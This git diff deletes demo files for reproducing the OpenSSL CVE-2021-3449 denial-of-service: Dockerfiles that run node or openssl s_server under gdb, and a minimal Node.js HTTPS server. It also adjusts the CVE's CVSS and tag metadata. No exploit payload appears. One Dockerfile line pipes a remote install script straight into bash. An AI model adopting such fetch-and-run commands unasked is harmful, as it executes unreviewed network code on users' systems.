b/cve/openssl/2021/CVE-2021-3449/demo/nodejs.Dockerfile deleted file mode 100644 index 3f78b4e8..00000000 --- a/cve/openssl/2021/CVE-2021-3449/demo/nodejs.Dockerfile +++ /dev/null @@ -1,8 +0,0 @@ -ARG BASE_IMAGE -FROM ${BASE_IMAGE} -WORKDIR /root -RUN DEBIAN_FRONTEND=noninteractive \ - curl -fsSL https://deb.nodesource.com/setup_15.x | bash - \ - && apt-get install -y nodejs -COPY nodejs.js /root/ -CMD ["gdb", "-batch", "-ex", "run", "-ex", "bt", "--args", "/usr/bin/node", "/root/nodejs.js"] diff --git a/cve/openssl/2021/CVE-2021-3449/demo/nodejs.js b/cve/openssl/2021/CVE-2021-3449/demo/nodejs.js deleted file mode 100644 index 34b1dfc0..00000000 --- a/cve/openssl/2021/CVE-2021-3449/demo/nodejs.js +++ /dev/null @@ -1,14 +0,0 @@ -const https = require('https'); -const fs = require('fs'); - -const options = { - key: fs.readFileSync('server.pem'), - cert: fs.readFileSync('server.pem') -}; - -https.createServer(options, function (req, res) { - res.writeHead(200); - res.end("hello world\n"); -}).listen(4433); - -console.log("server started"); diff --git a/cve/openssl/2021/CVE-2021-3449/demo/openssl-1.1.1j.tar.gz.sha256sum b/cve/openssl/2021/CVE-2021-3449/demo/openssl-1.1.1j.tar.gz.sha256sum deleted file mode 100644 index 27569051..00000000 --- a/cve/openssl/2021/CVE-2021-3449/demo/openssl-1.1.1j.tar.gz.sha256sum +++ /dev/null @@ -1 +0,0 @@ -aaf2fcb575cdf6491b98ab4829abf78a3dec8402b8b81efc8f23c00d443981bf openssl-1.1.1j.tar.gz.download diff --git a/cve/openssl/2021/CVE-2021-3449/demo/openssl.Dockerfile b/cve/openssl/2021/CVE-2021-3449/demo/openssl.Dockerfile deleted file mode 100644 index 705f2e01..00000000 --- a/cve/openssl/2021/CVE-2021-3449/demo/openssl.Dockerfile +++ /dev/null @@ -1,4 +0,0 @@ -ARG BASE_IMAGE -FROM ${BASE_IMAGE} -WORKDIR /root -CMD ["gdb", "-batch", "-ex", "run", "-ex", "bt", "--args", "/usr/bin/openssl", "s_server"] diff --git a/cve/openssl/2021/yaml/CVE-2021-3449.yaml b/cve/openssl/2021/yaml/CVE-2021-3449.yaml index ad1c4bbe..5e064af3 100644 --- a/cve/openssl/2021/yaml/CVE-2021-3449.yaml +++ b/cve/openssl/2021/yaml/CVE-2021-3449.yaml @@ -11,10 +11,10 @@ info: - https://nvd.nist.gov/vuln/detail/cve-2021-3449 - https://avd.aliyun.com/detail?id=AVD-2021-3449 classification: - cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H cvss-score: 5.9 cve-id: CVE-2021-3449 cwe-id: CWE-476 cnvd-id: None kve-id: None - tags: 拒绝服务,DoS \ No newline at end of file + tags: 拒绝服务, DoS \ No newline at end of file -- Gitee